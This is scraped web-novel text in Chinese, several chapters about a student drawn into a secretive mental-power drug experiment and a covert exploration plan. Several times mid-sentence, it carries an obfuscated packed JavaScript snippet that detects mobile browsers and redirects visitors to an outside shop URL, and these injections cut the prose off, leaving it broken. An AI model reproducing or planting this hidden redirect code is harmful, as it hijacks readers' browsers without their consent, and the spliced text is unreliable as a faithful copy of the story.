“我家的……”伊森用力闭眼，吞下差点说出来的话，他再次摁下桌上的按钮，朝外面喊了一句，“每样送一杯进来。” 简初：“……” 完了，给他装到了。 直到两人面前的桌面上摆满了甜点饮品，室内才重新恢复安静，伊森似乎是想通了什么，不再像之前一样带着些许焦躁，终于变成了简初平日里见到的样子。 “你应该看过关于斯塔集团的坊间传闻吧。”伊森话锋一转，突然来到了一个和之前毫无关联的话题上，“当初我一直以为，你是凯文或者是某个私生子派来的人，不过现在看来，你好像跟他们没什么关系。” 这句话看似解释了两人矛盾的由来，但对于不知道之前发生过什么的简初来说，事情反倒被引向了一个更扑朔迷离的方向，她没有明确回应，只是皱眉盯着伊森。 “果然，对于之前的事情你还是不打算解释，不过我现在也不想追究，我从小见过太多的人，能看出来现在的你对我并没有敌意。”伊森好像认为简初不想讨论之前的事情，所以讲的话也很模糊。 “我不知道你在说什么。”简初冷着一张脸，让伊森更加确定了自己的想法。 各种品类的饮料甜品的香气杂糅在一起，让人有点反胃。 “我也不跟你兜圈子，你在医疗中心的检查报告我看过了，这种机密数据也许你自己都见不到。”伊森说着，从手边一直放着的公文包里抽出两张纸，公子哥儿纡尊降贵，亲自一杯杯端开桌面上的杯子，腾出一块空间。 两份报告一左一右，整齐地摆放在简初眼前。 “你也是学这个的，就不需要我来解释了。”伊森说完，端起一杯咖啡喝了一口，整个包间里只剩下杯碟碰撞的声音。 简初没有伸手，那两张纸大剌剌的放在那，上面的信息已经一览无余，一张就是刚刚伊森所说的检查报告，另一份简初没见过，但上面写着是她入学时的精神力检测报告。 和之前程源给她看的那份不同，这张上面的数据明显要更加精细，比起检查更像是一份实验数据。 尽管简初的学习时间不长，但她对精神力天生敏感，很快看到了其中的微妙之处，对面的伊森一直观察着她的表情，见时机到了，又从包里掏出一张纸，默不作声地放在旁边。 简初抬头看他一眼，他只是礼貌伸手示意。 第三份是简初的日常检测报告，看时间就是前段时间去实验室做的那次检查，也许在此之前，简初还需要仔细体会那点微妙的来源，但加上这份材料，一切都不用赘述。 “我不知道你是出于什么原因，在入学之后有意隐藏自己，但在乌托邦遭遇的意外也许让你暂时忘记了这件事。”伊森伸出手，一左一右指向图谱里的峰值，以及旁边的一长串估测数据。 “你暴露了，而这份报告程源已经看过，想必很快他就会来找你。”伊森脸上露出一丝胜券在握的微笑，尽管他很快就将其隐藏，但还是被简初捕捉到了。 下一秒，简初的终端疯狂震动起来，她垂下眼沉默两秒，伸手摘下终端将其放在了桌面上，伊森下意识看过去，就见到屏幕上显示着“院长”两个字，紧接着简初按下了接听键。 程源的声音被扩音，回响在包间里。 “简初，你已经出院了吧？”那头响起的声音带着关切，但此前，程源几乎没有主动联系过简初。 “是的院长，有什么事吗？” “我听冯聿说，伊森去接你了？你们还在一起的话，就喊上他来一趟实验室吧，十分钟，我在这边等你们。”看似商量，其实没有任何拒绝的余地，程源说完直接挂断了电话。 伊森从喉咙里挤出笑声，有点嘲讽的意味，简初姿势不变，只是抬起眼帘瞧了他一眼：“那个项目有问题？” “……你很聪明，但是我也不知道。”伊森愣了愣，说道，“我被禁止参与，这么多学生里他只选中了莫景，哦当然，或许即将加上一个你。” “十分钟。”简初将终端戴回手腕，“我们走得足够快的话，你也只剩下三分钟，来说明你的目的。” 明明受到威胁的是她，伊森竟然没能从这人身上看到一点焦虑，不知道是情绪隐藏的太好，还是留了别的后手。 伊森抿了抿唇，下定决心：“他一定会让你加入项目组，我需要你告诉我，他们到底在研究什么，作为交换，斯塔集团可以为你提供一切帮助，在我力所能及的范围内。” 简初笑了，再怎么样伊森·斯塔只不过是斯塔集团的继承人之一，如果是米勒尔提出这个条件，也许她还会考虑一下。 “噔噔噔！” 不知道为什么，简初从系统的音乐声里听出了点焦躁的意味。 “在被称为象牙塔的军校内部，无形的阴谋正在滋长，很不幸你成为了目标之一，但这对你来说并不是坏事。事物均有其两面性，也许它能给你带来意外的收获，这取决于你做出的每一个选择。” “任务目标：揭露项目的真相。” “重要说明：项目进程不可逆，请务必警惕。” 她抬眼瞧了伊森一眼，并没有因为系统的播报而直接接受对方的条件。 “只剩下一分钟了。”伊森看了眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13721502|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间，催促道，看上去有些不耐烦。 对面的女孩就这么看着他，突然微微眯起了眼。 “我说你啊，想成为米勒尔吧。” …… 两人几乎并排，脚步匆匆踏进了校内研究所的大门，甫一进门，就有一个年轻的研究员迎了上来。 “你们总算来了，院长一直在等。” 他手里拿着程源的专属电梯卡，可以免除申请自由选择楼层，并且乘坐过程中无需停留，只有每个实验室的最高负责人才会有这样的卡。 研究员看了两人一眼，可能是觉得伊森的表情看起来有些不太友善，迅速钻进电梯站在了简初旁边。 他摁下7层和12层，开口道：“伊森同学，院长让你去12层开会，简初同学你直接去院长办公室，对了，正好麻烦你把卡带给院长，我……就不跟你一起去了。” 简初看他脸上露出有些牵强的笑，就知道程源此刻的心情应该不算美妙。 电梯平稳上行，几人看着不停跳动的数字，不知道在思考什么。 “回见。” 简初踏出电梯，身后突然传来伊森的声音，她没有回头，只是随意举起手摆了摆，径直走向了办公室，不过还没等她走几步，就远远看见程源脚步匆匆，推开门走了出来。 他看见简初，眼睛明显一亮，连抬头的角度都上扬了几分，碍于外头不少研究员正在忙碌，不便出言打扰，程源只是举起手朝简初挥了挥，示意她直接跟上。 周围的研究员们有不少人都在用含蓄的目光打量着她，他们自以为藏得很好，趁着拿材料或是伸懒腰的机会抬头看一眼，但所有落在简初身上的目光全都被她捕捉到。 程源并没有特意放慢脚步等她跟上，示意之后也不管别的，撒开步子就往实验室走去，看这个方向，正是上次提到的那个精神力药剂项目所在的地方。 想到几分钟前同伊森的简单交流，简初下意识变得警惕起来，但面上却不露声色，看上去步履匆匆追了过去。 研究员们的目光随之而去，直到实验室的机械大门关上，才恋恋不舍地回过神，和身边的同事交换了一个羡慕的眼神，纷纷低下头做自己的事去了。 “院长你终于来了！”还是上次的那位胡博士，他迎上来时声音里带着明显的欣喜以及一点莫名其妙的畏惧，但是在看到后面跟上来的简初时眉头明显皱紧了，“这是……” “哦，简初会加入这个项目……这个先不提，莫景人呢？”程源看上去并不轻松，他原本应当在办公室先和简初聊聊，但现在显然是发生了点意外情况。 胡博士如梦初醒，不再把注意力放在简初身上：“莫景在里面呢，您快过来看看，之前的进展都很顺利，但这次检查结果跟预测的相差太多了，简直是前功尽弃……” 实验室最里面一堵洁白的墙壁突然左右分开，简初上次来的时候丝毫没有发现，里面还有这样一个空间。她试探着跟上，周围并没有人阻拦，想必是刚刚程源的话起了作用。 胡博士的话让她不可避免地想起之前的“治疗”，那个出现在莫景精神空间里，宛如活物的东西，真的会是实验的产物吗？ 101. 无人区（3） 这里跟外头比起来，设备明显要更加尖端，好几个物件的型号都是简初从未见过的。整体的装饰以纯白色为主，大概是白色比较容易凸现上面的污渍，便于清理。 一进门，就有一股浓重的药水味扑面而来，混合着称得上刺激的冷气，让人下意识紧皱眉头。 这里的研究员们都穿着长衣长裤，外面套着的白大褂扣得很严实，简初一眼就看到其中的莫景，在这么冷的环境里，她反倒出了一身汗，发丝湿答答地贴在脸上，但表情却冷冰冰的，直到她循声转头看见简初，愣了愣才露出一个有些可怜的表情。 “这是新加入的学生。”程源跟旁边的研究员们说道。 看来伊森对程源的了解还不够深，不久前他还在利诱简初同意加入项目组，哪曾想到程源并没有给简初选择的余地，尽管如此，就算是做戏，简初也不能理所当然地接受安排。 “老师，这……之前不是说得看模拟大赛的成绩，现在……”她的未尽之意程源都听明白了，他平日里并不喜欢这么没有眼色的学生，但是放在这里情况又不一样了。 他需要一个有些懦弱、但又听话的学生，就像简初现在这样。 “没事，你表现已经很好了，给你这个机会，你之后一定要好好表现。”程源说道。 如果不是简初提前看到了伊森手里的报告，怕也是想不到这人从几年前就盯上自己了。 “现在什么情况，谁来说说？”他转过头，冲那群研究员就没有什么耐心了。 一群人面面相觑，最终还是胡博士点兵点将，抽到一个倒霉蛋来说明情况，这人看上去资历要老一些。 她清了清嗓子，先在心底打好腹稿，才慢慢开口：“是这样的院长，刚刚在给12号做本次注射前的检查工作，发现之前一直稳定向好的指标出现了极大的变化，不在之前数据预测的变动范围内，然后我们就赶紧把之前所有的数据记录拿来比对……” 程源一边看着手里的报告一边听着：“怎么了？继续说。” “对比之后发现，12号的精神力数据，回到了第三次实验的水平。” 现在简初可以确定，她口中的12号，正是莫景。 这个变故似乎超出了程源的预期，简初看见他下意识抬头瞥了一眼莫景，甚至余光扫过了自己，才拧着眉放下手里的报告，走到莫景跟前。 “我来看看，你把眼睛闭上。”他对莫景说道，女孩收回一直落在简初身上的眼神，垂下了眼帘。 这个流程简初很熟悉，程源应该是要亲自检查莫景的精神空间，就是不知道，自己上次看到的黑色“活体”，是否在他们的计划之内，但不管是或不是，都给现在的简初出了一道难题。 所幸实验遇挫，看起来程源应当不会立即让简初参与进来，至少在他们排除这次意外的源头之前，她暂时不需要直面参与实验的困境。 周围的人都安静地看着，等待程源检查完毕，很快，他就收回手，但脸上的表情并没有变好，他不开口，其余的研究员们都不敢吱声，连胡博士也有些紧张。 “上次实验之后，你有没有做过什么？”程源问道，“不要紧张，没有别的意思，只是想找到原因，方便之后规避。” 简初下意识看向莫景，这次女孩的眼神没有看向她，而是垂着眼做思考状：“我一直都是按照手册要求做的，最近也没有发生什么事情。” “没去上你们年级的实验课吧？没有其他人给你做过精神疏导？”程源说完这句话，简初几乎以为他猜到了什么。 “没有。”莫景摇头，“这个是最重要的注意点，我知道的。” 程源看了她两秒，才叹了一口气：“你知道就好，实验过程中多少会感觉到不适，但是为了达成最终的目标，其中的痛苦是必须忍受的。” 见莫景沉默地点点头，他露出一个欣慰的表情，拍了拍对方的肩，转头看向简初：“你先了解一下项目，暂时不需要你参加，等他们把影响因素排除之后，再考虑下一步你加入的事。” “那个谁，你拿本实验手册给她，跟12号一样的就行。” 再一次听到“12号”这个名字，简初轻微皱了皱眉头，但莫景对此没有反应，看上去已经接受这个规则。简初错开眼，追着那个匆匆忙忙去旁边柜子里给她拿手册的研究员，尽管对方柜门开得很窄，但她还是眼尖地看到里头叠放着好几摞册子，她能看到的就有两种不同的颜色。 看来实验手册还有不同的版本。 “你先拿着看看。”研究员将手掌大小的蓝色册子交给简初，“这个不能带走，也不能拍照里面的内容尽快都记住。” 身边的研究员们仿佛被按下启动键，纷纷散开忙自己的事，有人带着莫景坐到一边休息，手里还拿着本子在记录什么。简初的余光瞥见程源匆匆离开，不知道是不是去伊森那边了。 她低下头翻开了手里薄薄的册子，开头第一页只写了一些需要保密之类的警告，第二页才开始提到有关项目的事情，但很可惜，里面讲到的东西非常的正向，读了两行，简初心底都冒出一些为人类进步献身的想法。 不对劲，她抬头看了眼周围忙碌的研究员们，合理怀疑实验手册怕不是有N个版本，至少在系统的描述里，被称为“阴谋”的，可不会是什么好差事。 这个项目并没有完全被掩藏，至少外头一些不隶属于本项目的研究员们，也对其有一些了解，否则上次她也不会见到有人送试剂进去，还围在一起偷偷讨论。 至少从她手里的手册看去，这是一个相当有价值的项目，正如上次胡博士所说，研究成果对人类的精神力有着非比寻常的提升，而她要做的，就是参与药剂的试用，不管在手册里如何美化，简初都从其中读到了“小白鼠”三个字。 后面全部都是项目期间需要注意的事情，除了定期接受检查，还有刚刚说的，不能由程源以外的人进行精神疏导，连饮食休息都有详细的规定。 简初：“……” 这跟坐牢有什么区别？ “你有什么问题可以问问12号……在这里我们必须要称呼代号，她有经验，你提前了解一下可以少吃点苦头。”年轻的女研究员简单说了两句，“我们实在腾不出手，而且对于你们的工作不是很清楚，所以……” 简初冲她礼貌点头：“我知道了，谢谢。” “还有，这是你的实习卡，可以用它直接进这边的实验室。”女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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伊森隐晦地打量着这张桌子上为数不多的人，尽管有几人自己从未见过，但看气势也不像普通人，尤其是坐在因思禾旁边的一个女性，她穿着一身黑色的皮衣，比起其他人坐在位置上一动不动，她只是自顾自低头擦拭手里的枪。 伊森觉得她有些眼熟，但是很确定自己没见过这号人。 时间一分一秒流逝，但在座的所有人都耐心十足，没有人开口催促，突然，坐在伊森对面的皮衣女性抬头看了一眼，过了几秒，电梯门应声而开。 “各位久等了，手里的项目临时出了点问题。”身后传来程源的声音，与刚刚伊森进来时不同，此时除了因思禾和她身旁的皮衣女性，其他人都站起身来迎接。 “您是大忙人，能理解能理解。” 众人寒暄的场景让伊森觉得有些索然无味，正当他以为即将开始的商业互吹将浪费不少时间，一道声音直接打断了重任的寒暄。 “既然人齐了，来谈正事吧。”因思禾撑着下巴，“我的时间可是很宝贵的。” 102. 无人区（4） 伊森此时还处在云里雾里，不过其他人的表情也没有好到哪里去，就连程源脸上的表情也写着一丝疑惑，伊森甚至注意到对方额外多看了自己一眼。 “各位都是联邦各家顶尖研究所的负责人，难得有机会将大家聚在一起，十分感谢各位赏脸。”因思禾说道，她简单的寒暄没有人会毫无眼色地打断。 “联邦研究所打算重启‘无人区探索计划’，现在邀请各位前来，正是商议此事，请各位不要讨论，在面前的纸上写出你们的决定。” 伊森转动眼睛看了一圈，除他之外几乎所有人面前都有一张白纸，就在因思禾话音落下的下一秒，皮衣女性伸手将枪放在了桌上，黑色的枪身反射出冷硬的寒光，让在座的人噤若寒蝉。 “各位不用担心，不愿意参加的人可以直接离开，当然，出了这扇大门就会忘记我刚刚说的那些话。”因思禾礼貌颔首，“毕竟是秘密行动，请见谅。” 此话一出，原本打算直接拒绝的人登时停下动作。 如果走出这扇门就会被消除记忆，那就等于他们完全被隔离在了“无人区探索”这项议题之外，甚至连跟参与的机构打听消息的机会都几乎荡然无存。 不知道这件事，怎么可能会去想要打听消息，未来不管发生了什么，好事或是坏事，都将与他们无关，这对于一家研究所来说很难算是一件好事。 如果联邦在无人区有所发现，那么没有参加秘密行动的各家将会被无情地隔绝在利益链之外，不管是学术研究还是商业价值，甚至全联邦的研究所排名都将重新洗牌。 虽然怎么变，都是在座的几家，但对于每个研究所来说，没差一个名次都象征着拉开差距的投资和关注度。 “各位都不年轻了，别想着偷看别人的答案啊。”因思禾轻笑一声，伸手敲了敲桌子，“你们还有三十秒时间考虑。” 旁边的李瑞千很贴心地掐了个表。 三十秒的时间转瞬即逝，有人的额头上渗出了汗珠，虽然低着头，但眼神却在努力往旁边人的纸面上瞥去，发现座位离得太远看不清，退而求其次，试图从旁人笔杆的动态猜出选择。 “伊森同学。” 突然被人喊到，伊森猛然抬头，对上因思禾笑吟吟的眼神。 “麻烦按顺序帮我收一下表格吧。” 这话乍一听上去没什么问题，但却无形之中将伊森划入了自己的阵营，惹得周围其他人都投来有些异样的目光，就连程源也不例外。 伊森想要拒绝，但话到嗓子眼似乎就堵在那里，不上不下，直叫人噎得胸口疼，直到他认命起身，这种感觉才迅速消退。 收集起来的纸张送到因思禾手中，但她手腕一转，就将纸面朝下盖在了桌上：“不愿参与的几位，可以先行离开了。” 围坐的众人面面相觑，一时间竟没有人站起身来，不过因思禾倒也不着急，只是微微阖着双眼，一言不发地等待着。终于，有人熬不住这个场面，有些战战兢兢地起身。 “因博士……我这边就……先走了。”他小心地躬着腰，见没有人对他的话提出异议，试探着转身朝大门走去，由他作为领头人，又有几人从座位上站起来，这一下，会议室里就去了一半的人。 因思禾突然睁开眼，与身边的人对视一眼，穿着黑色皮夹克的女性突然倾身向前，一把捞过桌面上的手枪，抬手“砰砰”几枪接连射出，背对着走向门口的所有身影应声倒下。 “啊！！！” 座位上有人刚刚起立，就被这突然的变故吓得惊声尖叫，紧接着下一秒，黑洞洞的枪口调转，握着枪的黑衣死神朝他微微一笑，轻扣扳机。 “噗通。” 至此，所有离开座位的人就此倒下，剩下的人面失血色，大概是腿软了，不约而同顺着椅背下滑了几公分。 不知何时，会议室里的冷气被人调得很低，低到伊森觉得有一根针顺着自己的脊背，慢慢地扎着窟窿眼往上蔓延而去。 “劳烦程院长安排人处理一下。”因思禾开口，所有人才仿佛从噩梦中惊醒，而她也有些恶趣味地笑了笑，似乎对大家的反应很满意，“不过是一些小小的麻醉手段，待会会有人来处理他们的记忆，程院长？” “啊……好、好的。”程源虽然岁数比因思禾大了一轮还多，但此刻也不敢说出什么拒绝的话来，对方不仅身份比他高，手段也让人捉摸不透，怪不得……米勒尔提醒自己要小心这女人。 他不着痕迹地瞥了眼伊森，见他的震惊不像作假，才稍微放下心来。 也是，伊森可是斯塔家族的继承人，怎么可能和联邦研究所的人混迹在一起。 “接下来，我们可以谈谈具体的事宜了。”因思禾终于叹了口气，开始说正事，“保密协议那种东西各位应该不需要吧，嗯？” 配合她的话语，一旁的女性甩了个枪花，“啪”地一声把手枪重新拍在桌面上。 “对了，介绍一下，这位是特战中心异常作战小组的傅遥组长，她也将全程参与我们本次的项目行动。这次探索计划将由联邦研究所精神力实验室全权统筹，联合斯塔集团一起开展。” 随着因思禾这句话落下，剩下为数不多的人的目光都隐晦地落在伊森身上，这位继承人也算是米勒尔挂在嘴边的宝贝，这下众人都想通了他为什么会坐在这里，又为什么不需要那张白纸。 就连程源也以为，是米勒尔提前给伊森透过底，但只有伊森·斯塔自己才知道，他此刻心底掀起了怎样不安的巨浪。 在来到这里之前，米勒尔从来没有跟他提过有关无人区的事，一个字都没有。要知道跟联邦研究所合作，那可不是两个人喝口茶吃个饭就能敲定的，斯塔集团一定对此做了无比充足的准备，才能让一直高居科研塔尖的联研所投来视线。 他知道在米勒尔心底，自己从来不是那个所谓“最看好的继承人”，哪怕自己真的是最优秀的那个，如果仅仅是他不愿意放权就算了，但要是对方把这件事告诉了凯文…… 伊森垂下眼眸，敛去满腹心事。 “瑞千，把目前的计划表打开给各位看看。” 因思禾一句话，李瑞千立刻打开投影，一张密密麻麻的安排表瞬间出现，第一眼看过去就叫人脑袋生疼，但因思禾似乎并没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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它坐落于无人区的最边缘，走出大门走上几分钟，便能正式踏入官方划定的无人区范围，研究所的三楼是一整面宽大的玻璃幕墙，沉默地正对着不远处的无人区。 突然，一艘还算小巧的舰船出现在研究所的正上方，塔楼顶部的射线从它身上迅速扫过，伴随着令人烦躁的蜂鸣声，研究所楼顶的天幕缓缓张开，舰船悬浮在空中，慢慢落下，隐没其中消失不见。 研究所的几位负责人在旁边严阵以待，直到舰船的大门开启，四个穿着统一制服的人从上面走了下来，他们第一时间打量完周边的情况，其中一名看上去比较文气的男子走上前，跟负责人寒暄起来。 “杨所长，我们是特战中心的先遣小队，是为了这次探索计划来的。”黎取笑眯眯地跟对方打着招呼，“我们过来的事还请在所内不要声张，不要影响你们正常工作，正式团队将在三天后过来汇合。” “明白的明白的，还不知道怎么称呼？”所长的头发已经花白，不过精神看上去还不错，无人区研究所的所长名叫杨树，简历上是一名年近五十的女性，大概是无人区的辐射影响了她，所以看上去要比实际年龄大上不少。 尽管研究所防护设施完备，但是在这边待上二十多年多少也会受到影响。 黎取并没有介绍的意思：“有什么事情杨所长直接联系我就好，我是军师。” 103. 无人区（5） 杨树愣了愣，第一秒反应这个年轻人是对外联络人，但下一秒才反应过来，“军师”应该是他的代号。 活了半辈子，没想到人到中年，还要陪一群年轻人玩角色扮演，不过特战中心作为特殊部门，有一些奇特的工作要求也是可以理解的，但她还是不能毫无心理负担地直呼这个“姓名”。 “……好的，我们已经收到总所发来的函了，诸位日常有什么需要可以直接联系后勤部，有关计划方面的安排，等后面的团队来了再说？”杨树说。 “麻烦了，但在此之前，我们需要检查一下计划所需的设备，我们提前过来的目的也正在于此，函件里应该有提到。”黎取依旧是笑眯眯地，除了他之外另外三人都没有要开口的意思。 “当然当然，现在快到饭点了，不如各位先去用餐，之后我安排专人带你们过去。”杨树连忙点头，她看上去并不是那种长袖善舞的人，说着话脸上看着还有些局促，完全不像一个所长，反倒像一个有些内向的研究员。 黎取不着痕迹地向后侧了侧头，看见傅燃微微点头，才答应下来。 无人区研究所内所有的联络都是使用的内部信道，并且禁止携带私人通信设备进入，所以除了研究所的中控室，其余人跟外界其实都处于失联状态。 四人的临时房间靠在一块，方便有什么事情可以及时碰面。 此时，所有人正聚在一起，简单商讨这几天的事宜。 “这次的任务来的也太突然了。”林豹双抱怨道。 虽然行动级别很高，临到头才接到通知实属正常，但她跟安栩上一个任务刚结束没两天，还没来得及喘口气，就被拖了过来。 照这个架势，补贴给再多也没机会花啊。 “你这边又是什么情况，不是说今年让你回去念书，直到毕业之前都不会外派了吗？”林豹双看向傅燃。 这位虽然是协会最年轻的成员，但是实力一骑绝尘，近年的特级行动基本都有他的身影。此前每年都是在特战中心的斡旋下考核跳级，好不容易到了五年级，说是不能再跳级了，协会才答应让他安心念书，偶尔顺带做点任务。 “计划赶不上变化。”傅燃看着面前的悬浮屏，上面记录着这几天他们的工作安排，时间排得并不算很紧，还算是有点良心。 “这次任务时间大概一个月的时间，我们不过是托底的手段，三天后正式团队过来，我们直接跟特战中心汇合，全程服从统一指挥，一旦出现意外情况，直接接管全局工作。”傅燃说着，站起身就要离开，“先休息，两个小时之后汇合。” “收到。” 其余三人看着他离开房间，林豹双才悄咪咪凑到黎取跟前，想想觉得不得劲，又把安栩拉了过来：“什么情况，就怎么又把他找来了，你应该知道吧？我们都是自己人，就别瞒着了。” 黎取无奈地叹口气：“上头的心思我哪猜得准，不过……” 他突然压低声音，这下连安栩也开始好奇了。 “……听说要成立一个全新的对外部门。” …… 直到简初在宿舍见到秦理，才知道傅燃好像又接了什么校内任务，最近会暂时失联。如果是在往常，她大概只会感叹一下这人还真是个卷王，但现在情况可完全不一样。 她本来打算找机会再给傅燃做一次精神疏导，看看他和幽灵之间究竟有怎样的联系，现在这个计划只能无限推迟了。 “他没说具体什么时候结束吗？”简初不乐。 秦理奇怪地看了她一眼：“不知道，说是保密任务，所以也没在聊天群里说，还是左虞珩告诉我的。” 原来还有这种校内任务吗，她还以为只有公开挂在校内星网上的那些呢。 简初突然想起了什么，打开终端里的聊天群，果不其然傅燃的头像已经变灰了：“这么急？” 前两天这几个人还带着路可娴一起来看她，那会傅燃也没提什么任务，这么突然人就走了。 “谁知道呢，他向来这样，要不是正巧遇见，估计就直接走了。之前有次就是，人回来才告诉我们是出任务去了。”秦理撇撇嘴，“不说这个，你现在感觉怎么样？我考完试立刻就赶回来了，你居然比我回来的还晚。” 简初若有所思地点点头：“我已经没事了，学院有点事，所以拖到现在。” “好吧，你们老师还真过分。”秦理一边说着，一边收拾自己的背包，她一般出门不会带很多东西，但这次的背包鼓鼓囊囊，简初就这么瞧着她从中掏出几个快递盒子。 学校的快递都是配送上门的，也不知道这是她专程跑到哪里去拿的。 “虽然医生说你没事了，不过这几天的训练先暂停吧，反正模拟大赛也结束了，哎。”秦理叹气，“不过之前你的实习名额还能拿到吗，毕竟现在模拟大赛也排不出名次来了。” 闻言，简初愣了愣，她好像没有跟秦理提过有关实习名额的事情。 “等等，我跟你说过这件事吗？”简初问。 “啊，没有，之前我怕你太有压力，所以也没跟你说这件事。”秦理突然回过神，“是之前跟你一起上课，有一次听见有人在讨论的。” 除此之外，她还听见那几个讨论的学生贬低简初的话，以及一些类似她走后门才拿到这个机会的言论，不过这些话完全没必要说出来给朋友添堵。 在秦理看来，就算精神力素质水平不是最好的，那简初的精神疏导技术一定是最好的，作战学院也有定期的检查，反正体感远远不如简初在实验课上给她做的，而且报告结果之间几乎没什么差别。 就连傅燃也同意她的观点，这哥可是不太能接受精神力检查的敏感类型，每次检查都是能拖则拖，拖到老师们都放弃才好。 秦理看到简初表情不对，试探着开口：“怎么了，是没拿到名额吗，没关系，本来……” “拿到了。”简初朝她笑了笑，“刚刚就是因为这件事被喊过去的。” “果然，我就知道你没问题的。”秦理改口十分迅速，“我下午还有课，先回房间了，你今天好好休息。” 简初点点头，看着秦理的背影消失在房门后，她没有错过对方从背包最深处掏出一个快递盒子之后有些慌张的表情，甚至有意用手挡住上面的商标图案，将盒子又塞了回去。 快递盒晃动间传来的哗啦啦的声音，里面会是什么呢？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13742675|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 时间很平静地来到第二天。 不知道伊森那边除了什么情况，直到现在他都没有发来消息，询问简初有关那个研究项目的事。 课上其他的同学也没有表现出什么，看上去似乎并不知道她拿到了实习名额，这跟秦理昨天告诉她的情况有些微妙的不符，她进入项目组的事情并没有有意遮掩，有心人很容易能够得到消息。 “简初。” 一道熟悉的、有些扭捏的声音响起，简初抬头看去，李维西那张脸看上去竟然有些恍如隔世。 这人好像已经很久没在她面前刷存在感了。 “你身体恢复得还好吧？”小黄毛的表情看上去有些尴尬，他并不擅长关心别人，伊森除外。 简初有些莫名，但李维西除了打嘴炮，确实也没给她带来什么麻烦：“已经恢复了，你是有什么事情吗？” “没什么！就是同学之间关心一下。”李维西突然挺直腰背，“那个，伊森学长说找你有事，你……麻烦你过去一趟，就在外头。” 他的语气有点生硬，不过简初并不在意，顺着对方指向外面的手，她并没有看见伊森的身影，李维西见她露出怀疑的表情，立马大声开口：“我没骗你，就在外面！” 要是换作以前，简初大概会翻个白眼作为回应，但现在她和伊森勉强算是达成了合作，既然李维西这么说，给个面子走两步看看还是没问题的。 简初随口嗯了一声，站起身往外走，就发现小黄毛还亦步亦趋地跟在后面。 “你有什么事吗？”简初的重音放在了第一个字。 李维西看起来十分局促：“没事……就是待会学长要是问些什么，能不能别说我坏话。” 简初：“……” 多大人了，还怕告状呢。 “唔，看情况吧。”简初摆摆手，加速离开了教室，只留李维西在后头一脸沮丧，又不敢紧跟过来。 这小黄毛逗起来还挺有意思。 她出门左右看了看，果然在连廊的柱子后看见了伊森的脸。 “你那个小跟班……挺有意思。”简初笑了笑，“有什么事一定要见面说吗？” 她注意到伊森的衣服好像还是昨天那套，平日里一丝不苟的造型今天也看起来有些凌乱，这对于一个养尊处优到有点洁癖的人来说十分反常。 能看出来这人在努力维持平静的表情，但抬眼之间还是泄露出焦躁和怒气。 “你下面还有课？”他开口却是风马牛不相及，但明明是个问句，没不等人回答就自顾自做出决定，“不管有没有，我给你请假，东西回头让李维西帮你收了。” 简初刚想开口，就被眼前的一张不记名星币卡晃花了眼。 “十万，现在可以走了吗？”伊森说道。 两人再次回到昨天的咖啡店，这里看上去应该是伊森平日里的根据地了。 “现在可以聊聊发生什么了。”简初这次挑了一杯最合口味的，喝了两口都没听见对面这人开口，便抢先说道。 “你说得对。”伊森深吸一口气，正当简初茫然时，才抬眼看过来，“你说得对，我想成为米勒尔。” 104. 无人区（6） 这句话没头没脑，却让简初愣了愣，转而露出一丝微妙的笑意：“你在跟我开玩笑？” 昨天也是在相同的位置，当时说出这句话的人是简初，而伊森给的回答是斩钉截铁的否认。 “你在跟我开玩笑？”伊森当时是这么说的，还列举了米勒尔对他有多么重视以作反驳，完全忽略他的真实想法早在找上门的那一秒就暴露无遗了。 别的不重要，把自己骗过去就好。 现在简初将这句话还给他，反倒让人脸热。 伊森紧紧盯着她的脸，久到简初以为他就此沉默时，突然双手一扬，摇摇脑袋一副破罐子破摔的样子靠在了椅背上。 他伸手拽了拽领口：“好，我承认，昨天被你说中了，我不想做一个名不正言不顺的什么半吊子继承人，我承认了，没开玩笑。” 简初眨眨眼，一言不发地看着他破防，令人尴尬的沉默在包间里蔓延，有些话说出口只需要一瞬间的情绪，但之后需要很多的气力用来后悔。 伊森现在就有点，明明简初也没说什么，他就完全控制不住自己的情绪，但其实说到底，他的情绪还是来自米勒尔。 “……抱歉，我有点失态了。”过了许久，伊森终于平复了呼吸，肩膀陡然垮下，平日梳理齐整的发型也有些乱了。 简初没什么表情，只是半撩着眼皮看他，手里的饮料杯发出被喝到只剩冰块的吸溜声，她才恋恋不舍地把杯子放到一旁：“没什么不好的，换做是我，我也会想，更何况，别人也会想。” 伊森知道她说的没问题，但此前他从来没敢正视过自己的内心，一直扯着那张虚假的“继承人”的脆弱旗帜掩盖自己的欲望。 因为太难了。 人是会下意识畏惧强权，畏惧困难的，此时但凡有折中的法子，都会成为他们的优先选择，因为总想着比原来好就够了，却不知道有人正为他们主动扔下武器而窃喜。 